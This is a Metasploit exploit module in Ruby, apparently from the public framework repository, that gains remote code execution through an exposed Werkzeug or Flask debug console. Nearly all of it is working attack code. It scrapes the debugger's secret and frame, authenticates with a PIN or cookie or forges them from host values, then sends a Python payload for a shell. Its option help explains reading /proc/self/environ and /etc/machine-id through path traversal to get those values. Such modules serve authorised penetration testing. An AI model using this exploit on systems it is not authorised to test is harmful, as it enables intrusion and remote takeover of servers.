7838a943ce
Added comments about where version-dependant salts come from
405 lines
18 KiB
Ruby
405 lines
18 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
Rank = GoodRanking
|
|
|
|
METHODS_WITH_BODY = %w[POST PUT PATCH].freeze
|
|
COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze
|
|
MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze
|
|
PIN_PATTERN = /^[[:digit:]-]+$/.freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution',
|
|
'Description' => %q{
|
|
This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone.
|
|
|
|
The documentation states the following: "The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production." Of course this doesn't prevent developers from mistakenly enabling it in production!
|
|
|
|
Tested against the following Werkzeug versions:
|
|
- 3.0.3 on Debian 12, Windows 11 and macOS 14.6
|
|
- 1.1.4 on Debian 12
|
|
- 1.0.1 on Debian 12
|
|
- 0.11.5 on Debian 12
|
|
- 0.10 on Debian 12
|
|
},
|
|
'Author' => [
|
|
'h00die <mike[at]shorebreaksecurity.com>',
|
|
'Graeme Robinson <metasploit[at]grobinson.me>/@GraSec'
|
|
],
|
|
'References' => [
|
|
['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'],
|
|
['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'],
|
|
[
|
|
'URL',
|
|
'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'
|
|
],
|
|
[
|
|
'URL',
|
|
'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'
|
|
],
|
|
[
|
|
'URL',
|
|
'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \
|
|
'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a'
|
|
]
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['python'],
|
|
'Targets' => [
|
|
# pip install werkzeug==3.0.3 flask==3.0.3
|
|
[
|
|
'Werkzeug > 1.0.1 (Flask > 1.1.4)',
|
|
{
|
|
digest: Digest::SHA1,
|
|
digest_inputs: :new,
|
|
salt: ' added salt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
|
|
}
|
|
],
|
|
# pip install werkzeug==1.0.1 flask==1.1.4
|
|
[
|
|
'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)',
|
|
{
|
|
digest: Digest::MD5,
|
|
digest_inputs: :new,
|
|
salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
|
|
}
|
|
],
|
|
# pip install werkzeug==0.11.5 flask==0.12.5
|
|
[
|
|
'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)',
|
|
{
|
|
digest: Digest::MD5,
|
|
digest_inputs: :old,
|
|
salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
|
|
}
|
|
],
|
|
# pip install werkzeug==0.10 flask==0.12.5
|
|
['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version
|
|
],
|
|
'Arch' => ARCH_PYTHON,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2015-06-28',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptEnum.new('AUTHMODE', [
|
|
true, 'Authentication mode', 'generated-cookie',
|
|
%w[generated-cookie known-cookie known-PIN none]
|
|
]),
|
|
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]),
|
|
OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']),
|
|
|
|
# Options for using a known cookie/PIN
|
|
OptString.new('PIN', [
|
|
false, 'PIN to use for authentication. This can be set to a custom value by the ' \
|
|
"application developer, in which case generating the pin won't work, but if you" \
|
|
'have path traversal, you may be able to retrieve this pin by reading the ' \
|
|
'application source code, or, on Linux by reading /proc/self/environ to obtain ' \
|
|
'the value of the WERKZEUG_DEBUG_PIN environment variable', nil
|
|
],
|
|
conditions: %w[AUTHMODE == known-PIN]),
|
|
OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil],
|
|
conditions: %w[AUTHMODE == known-cookie]),
|
|
|
|
# Options for generating cookie/PIN
|
|
OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'],
|
|
conditions: %w[AUTHMODE == generated-cookie]),
|
|
# https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho
|
|
# https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2
|
|
OptString.new('CGROUP', [
|
|
false,
|
|
"Control group. This may be an empty string (''), for example if the OS running the " \
|
|
'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \
|
|
'traversal on Linux, this could be read from /proc/self/cgroup',
|
|
''
|
|
], conditions: %w[AUTHMODE == generated-cookie]),
|
|
OptString.new('FLASKPATH', [
|
|
false,
|
|
'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \
|
|
'debugger via an exception, it will be at the top of the stack trace. E.g. ' \
|
|
'/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \
|
|
'need to be changed to .pyc)', ''
|
|
],
|
|
conditions: %w[AUTHMODE == generated-cookie]),
|
|
# https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential
|
|
OptString.new('MACADDRESS', [
|
|
false,
|
|
'MAC address of the system that the service is running on. If you have path ' \
|
|
'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil
|
|
],
|
|
conditions: %w[AUTHMODE == generated-cookie]),
|
|
OptString.new('MACHINEID', [
|
|
false,
|
|
'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \
|
|
"if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \
|
|
'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \
|
|
'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \
|
|
'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \
|
|
'4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \
|
|
"retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \
|
|
'\"serial-number\"', nil
|
|
],
|
|
conditions: %w[AUTHMODE == generated-cookie]),
|
|
OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'],
|
|
conditions: %w[AUTHMODE == generated-cookie]),
|
|
OptString.new('SERVICEUSER', [
|
|
false,
|
|
'User account name that the service is running under. If you have path ' \
|
|
'traversal on Linux, you may be able to read this from /proc/self/environ',
|
|
'root'
|
|
],
|
|
conditions: %w[AUTHMODE == generated-cookie]),
|
|
|
|
# Options for sending a body, if required to invoke the debugger
|
|
OptString.new(
|
|
'REQUESTBODY',
|
|
[false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"],
|
|
conditions: ['METHOD', 'in', METHODS_WITH_BODY]
|
|
),
|
|
|
|
# This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me!
|
|
OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'],
|
|
conditions: %w[REQUESTBODY == set])
|
|
],
|
|
self.class
|
|
)
|
|
end
|
|
|
|
def all_generation_values_set?
|
|
datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] &&
|
|
datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP']
|
|
end
|
|
|
|
def config_invalid?
|
|
# Check that target supports selected authentication mode
|
|
if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
|
|
return CheckCode::Unknown(
|
|
"AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
|
|
"require/support authentication. Change TARGET or set AUTHMODE to 'none'"
|
|
)
|
|
end
|
|
|
|
case datastore['AUTHMODE']
|
|
when 'known-cookie'
|
|
unless COOKIE_PATTERN =~ datastore['COOKIE']
|
|
return CheckCode::Unknown(
|
|
'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
|
|
"'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'"
|
|
)
|
|
end
|
|
when 'known-PIN'
|
|
unless PIN_PATTERN =~ datastore['PIN']
|
|
return CheckCode::Unknown(
|
|
'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens'
|
|
)
|
|
end
|
|
when 'generated-cookie'
|
|
# Check that *all* values used to generate cookie & pin are set
|
|
unless all_generation_values_set?
|
|
return CheckCode::Unknown(
|
|
"AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
|
|
'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP'
|
|
) # Alphabetise
|
|
end
|
|
# Check for valid MAC address
|
|
unless MAC_PATTERN =~ datastore['MACADDRESS']
|
|
return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address")
|
|
end
|
|
end
|
|
|
|
# Check that requestbody is not specified if method doesn't support it
|
|
return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
|
|
|
|
return CheckCode::Unknown(
|
|
"REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body"
|
|
)
|
|
end
|
|
|
|
# Retrieve secret and frame
|
|
def secret_and_frame
|
|
res = send_request_cgi(
|
|
'method' => datastore['METHOD'],
|
|
'uri' => normalize_uri(target_uri),
|
|
'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])),
|
|
'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY'])
|
|
)
|
|
unless res
|
|
print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
|
|
return
|
|
end
|
|
|
|
# Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript
|
|
# A redundant escape is required to work around broken syntax highlighting in Sublime Text
|
|
# rubocop:disable Style/RedundantRegexpEscape
|
|
/(?:EVALEX\ =\ (?<evalex_enabled>true),.*?)? # Code execution in debugger enabled
|
|
(?:EVALEX_TRUSTED\ =\ (?<pin_required>false),.*)? # Pin required if 'false' matches. This technique supports v0.10-
|
|
SECRET\ =\ \"(?<secret>[a-zA-Z0-9]{20})"; # Secret
|
|
(?:.*? id="frame-(?<frame>[0-9]+)")? # Frame number, if it exists (i.e. if debugger)
|
|
.*Werkzeug\ powered\ traceback\ interpreter # Service Identifier
|
|
/mx.match(res.body)
|
|
# rubocop:enable Style/RedundantRegexpEscape
|
|
end
|
|
|
|
# Authenticate with PIN to retrieve cookie
|
|
def cookies(secret)
|
|
res, duration = Rex::Stopwatch.elapsed_time do
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri),
|
|
'vars_get' => {
|
|
'__debugger__' => 'yes',
|
|
'cmd' => 'pinauth',
|
|
'pin' => datastore['PIN'],
|
|
's' => secret
|
|
}
|
|
)
|
|
end
|
|
unless res
|
|
fail_with(Failure::TimeoutExpired,
|
|
"Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
|
|
end
|
|
if res.get_json_document['exhausted']
|
|
fail_with(Failure::NoAccess,
|
|
"Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \
|
|
'exhausted. The remote application must be restarted to re-enable PIN authentication.')
|
|
end
|
|
unless COOKIE_PATTERN =~ res.get_cookies
|
|
attempts_text = duration < 5 ? 'at least' : 'fewer than'
|
|
fail_with(Failure::NoAccess,
|
|
"Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \
|
|
'failed authentication exhaustion count has been reached. The time taken to receive a response ' \
|
|
"indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \
|
|
'which would require the application to be restarted to re-enable PIN authentication.')
|
|
end
|
|
res.get_cookies
|
|
end
|
|
|
|
def generated_cookie
|
|
# Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py
|
|
digest = target.opts[:digest].new
|
|
digest << datastore['SERVICEUSER']
|
|
digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old
|
|
digest << datastore['MODULENAME']
|
|
digest << datastore['APPNAME']
|
|
digest << datastore['FLASKPATH']
|
|
if target.opts[:digest_inputs] == :new
|
|
digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s
|
|
digest << datastore['MACHINEID']
|
|
cgroup = datastore['CGROUP'].split('/')
|
|
digest << cgroup[2] if cgroup[2]
|
|
end
|
|
digest << 'cookiesalt'
|
|
case target.opts[:digest_inputs]
|
|
when :new
|
|
cookie_key = "__wzd#{digest.hexdigest[0..19]}"
|
|
digest << 'pinsalt'
|
|
when :old
|
|
cookie_key = "__wzd#{digest.hexdigest[0..11]}"
|
|
end
|
|
pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-'
|
|
print_status "Generated authentication PIN: #{pin}"
|
|
expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!)
|
|
case target.opts[:digest_inputs]
|
|
when :new
|
|
cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12]
|
|
cookie = "#{cookie_key}=#{expiry}|#{cookie_value}"
|
|
when :old
|
|
cookie = "#{cookie_key}=#{expiry}"
|
|
end
|
|
print_status "Generated authentication cookie: #{cookie}"
|
|
cookie
|
|
end
|
|
|
|
def execute_python(cmd, secret, frame, cookies = '')
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
# Path without querystring because triggering debugger may have required parameters
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'vars_get' => {
|
|
'__debugger__' => 'yes',
|
|
'cmd' => cmd,
|
|
's' => secret,
|
|
'frm' => frame
|
|
},
|
|
'cookie' => cookies
|
|
)
|
|
end
|
|
|
|
def check_code_exec(secret, frame, cookies = '')
|
|
canary = rand
|
|
execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}"
|
|
end
|
|
|
|
def check
|
|
c = config_invalid?
|
|
return c if c
|
|
|
|
match = secret_and_frame
|
|
unless match
|
|
return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
|
|
end
|
|
unless match[:evalex_enabled]
|
|
return CheckCode::Safe('Debugger does not allow code execution')
|
|
end
|
|
|
|
print_status 'Debugger allows code execution'
|
|
if match[:pin_required]
|
|
return CheckCode::Detected('Debugger requires authentication')
|
|
end
|
|
|
|
print_status 'Debugger does not require authentication'
|
|
# Now check whether code execution is possible by evaluating something
|
|
unless check_code_exec(match[:secret], match[:frame] || 0)
|
|
return CheckCode::Safe('Attempted code execution failed')
|
|
end
|
|
|
|
CheckCode::Vulnerable('Code execution was successful')
|
|
end
|
|
|
|
def exploit
|
|
# First we try to get the SECRET code (and frame number if debugger rather than console)
|
|
fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame)
|
|
vprint_status "Secret Code: #{match[:secret]}"
|
|
vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console)
|
|
|
|
case datastore['AUTHMODE']
|
|
when 'known-PIN'
|
|
cookies = cookies match[:secret]
|
|
vprint_status "Authenticated using PIN: #{datastore['PIN']}"
|
|
print_status "Retrieved authentication cookie: #{cookies}"
|
|
when 'known-cookie'
|
|
cookies = datastore['cookie']
|
|
when 'generated-cookie'
|
|
cookies = generated_cookie
|
|
end
|
|
|
|
# Check whether code execution is possible by evaluating something
|
|
unless check_code_exec(match[:secret], match[:frame] || 0, cookies)
|
|
fail_with(Failure::NoAccess, 'Response indicates that code execution failed')
|
|
end
|
|
vprint_status 'Code execution was successful. Sending payload.'
|
|
|
|
# Send the payload to the debugger along with the values extracted from the previous response
|
|
res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies)
|
|
unless res.body.start_with? '>>> '
|
|
fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully')
|
|
end
|
|
vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors'
|
|
end
|
|
end
|